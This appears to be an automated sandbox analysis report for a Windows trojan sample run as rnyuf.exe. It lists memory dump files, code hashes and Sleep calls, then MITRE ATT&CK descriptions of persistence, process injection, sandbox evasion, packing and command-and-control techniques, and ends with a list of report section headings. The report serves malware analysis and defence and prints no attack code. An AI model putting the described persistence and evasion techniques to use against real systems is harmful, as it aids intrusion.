Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign
String ID:
API String ID: 1890089730-0
Opcode ID: ebbfe89acbd02e5b09e75c1b3571bdb79fcfcfb8768d475a7677332efd1abb39
Instruction ID: f0fbf274e3db1fdf5c3ffc3e22634a9d04b488eec14e6673958aab266a7f71be
Opcode Fuzzy Hash: ebbfe89acbd02e5b09e75c1b3571bdb79fcfcfb8768d475a7677332efd1abb39
Instruction Fuzzy Hash: BCD1CF75D102599FCF16CFA8D8809EDBBB9FF48310F280069E915BB281E730A996CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0126A84A, Relevance: 6.3, APIs: 4, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4701f085b686fc654ee3de011989ed1bfe517d98a102f0438dcc9491af4d11ae
Instruction ID: eb2f06eac8b6dbcd86c4897284a3ace9903773e704057f3f2d6448c2e7253964
Opcode Fuzzy Hash: 4701f085b686fc654ee3de011989ed1bfe517d98a102f0438dcc9491af4d11ae
Instruction Fuzzy Hash: 08C1E070A2424A9FDB15DF9CD884BBDBBFABF59310F044059E605AB2C1E7709982CB60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rnyuf.exe PID: 5908 Parent PID: 968 rnyuf.exeCOMMON

Executed Functions

Function 013A77B0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 0160DC15

Memory Dump Source

Source File: 0000000A.00000002.706304198.000000000128A000.00000040.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 0000000A.00000002.706162886.0000000001250000.00000002.00020000.sdmp Download File
Associated: 0000000A.00000002.706181239.0000000001251000.00000020.00020000.sdmp Download File
Associated: 0000000A.00000002.706222844.0000000001277000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706246604.0000000001280000.00000004.00020000.sdmp Download File
Associated: 0000000A.00000002.706261655.0000000001285000.00000002.00020000.sdmp Download File
Associated: 0000000A.00000002.706270935.0000000001288000.00000004.00020000.sdmp Download File
Associated: 0000000A.00000002.706282254.0000000001289000.00000002.00020000.sdmp Download File
Associated: 0000000A.00000002.706810826.0000000001420000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706822457.0000000001422000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706833710.0000000001426000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706841687.0000000001428000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706848065.000000000142A000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706863881.000000000142C000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706878310.000000000142E000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706902620.0000000001430000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706915085.000000000143D000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706957740.0000000001447000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706966732.0000000001449000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706974574.000000000144E000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706984728.0000000001450000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.706995196.0000000001452000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707007737.0000000001454000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707018296.0000000001458000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707025738.000000000145A000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707032550.000000000145C000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707058197.000000000146A000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707078942.0000000001472000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707091675.0000000001474000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707101298.0000000001476000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707132479.0000000001478000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707140645.000000000147A000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707148545.000000000147C000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707158506.000000000147E000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707198398.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707210881.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 0000000A.00000002.707471308.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c6ca1e440214ae8678fb7d5d608053b0d13aaa11066205566f8201567b02fa5f
Instruction ID: 329364776fdd91e034d7c9b2562216be072a981fda682e9b5ccdf371e56be7ae
Opcode Fuzzy Hash: c6ca1e440214ae8678fb7d5d608053b0d13aaa11066205566f8201567b02fa5f
Instruction Fuzzy Hash: 88E01AB111E708DAD70E3EA99CC547ABBE8BA01650F81053F85C705681DA7265438A93

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rnyuf.exe PID: 1808 Parent PID: 968 rnyuf.exeCOMMON

Executed Functions

Function 013A77B0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 0160DC15

Memory Dump Source

Source File: 00000012.00000002.827764041.000000000128A000.00000040.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000012.00000002.827547260.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000012.00000002.827561511.0000000001251000.00000020.00020000.sdmp Download File
Associated: 00000012.00000002.827654806.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.827694580.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000012.00000002.827717878.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000012.00000002.827734217.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000012.00000002.827747469.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000012.00000002.828290727.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828303891.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828317481.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828327866.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828337896.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828367783.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828384368.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828408244.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828443494.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828471781.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828490183.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828525885.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828554702.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828577740.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828606875.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828649574.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828663949.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828682213.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828737421.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828761734.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828785790.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828828542.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828849647.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828874435.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828903102.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.828934762.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.829006218.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.829021308.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000012.00000002.829426725.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c6ca1e440214ae8678fb7d5d608053b0d13aaa11066205566f8201567b02fa5f
Instruction ID: 329364776fdd91e034d7c9b2562216be072a981fda682e9b5ccdf371e56be7ae
Opcode Fuzzy Hash: c6ca1e440214ae8678fb7d5d608053b0d13aaa11066205566f8201567b02fa5f
Instruction Fuzzy Hash: 88E01AB111E708DAD70E3EA99CC547ABBE8BA01650F81053F85C705681DA7265438A93

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.Siggen15.38099.19640.25720

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets